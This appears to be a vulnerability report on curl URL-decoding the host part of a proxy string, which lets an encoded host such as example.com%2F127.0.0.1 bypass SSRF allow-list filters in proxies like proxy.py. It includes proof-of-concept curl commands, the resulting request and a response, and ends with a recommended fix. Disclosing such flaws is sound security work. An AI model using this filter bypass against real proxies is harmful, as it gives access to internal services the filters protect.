URL decoding the entire proxy string could lead to SSRF filter bypasses. For example,
When the following curl specifies the proxy string http://example.com%2F127.0.0.1
GET http://127.0.0.1/example.com HTTP/1.1
Host: 127.0.0.1/example.com
User-Agent: curl/7.83.0
Accept: */*
Proxy-Connection: Keep-Alive
I switched things up and used 127.0.0.1 as the allow-listed server and example.com as the target server to make it easier (no need to setup a HTTP server) to reproduce.
curl -x http://127.0.0.1:8899 http://example.com%2F127.0.0.1
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>400 - Bad Request</title>
</head>
<body>
<h1>400 - Bad Request</h1>
</body>
</html>
However, this response is actually being returned by example.com, the reason is that proxy.py will forward the Host header, currently 127.0.0.1/example.com curl sends it, making it a Blind SSRF
curl -x http://127.0.0.1:8899 -H "Host: example.com" http://example.com%2F127.0.0.1/%2e%2e/
The recommended fix for this is to not URL decode the host component of the proxy string when passing to proxy server.
SSRF filter bypass at if the curl URL parser or a RFC 3986 parser is used, it could lead to blind / full SSRF depending on the proxy used.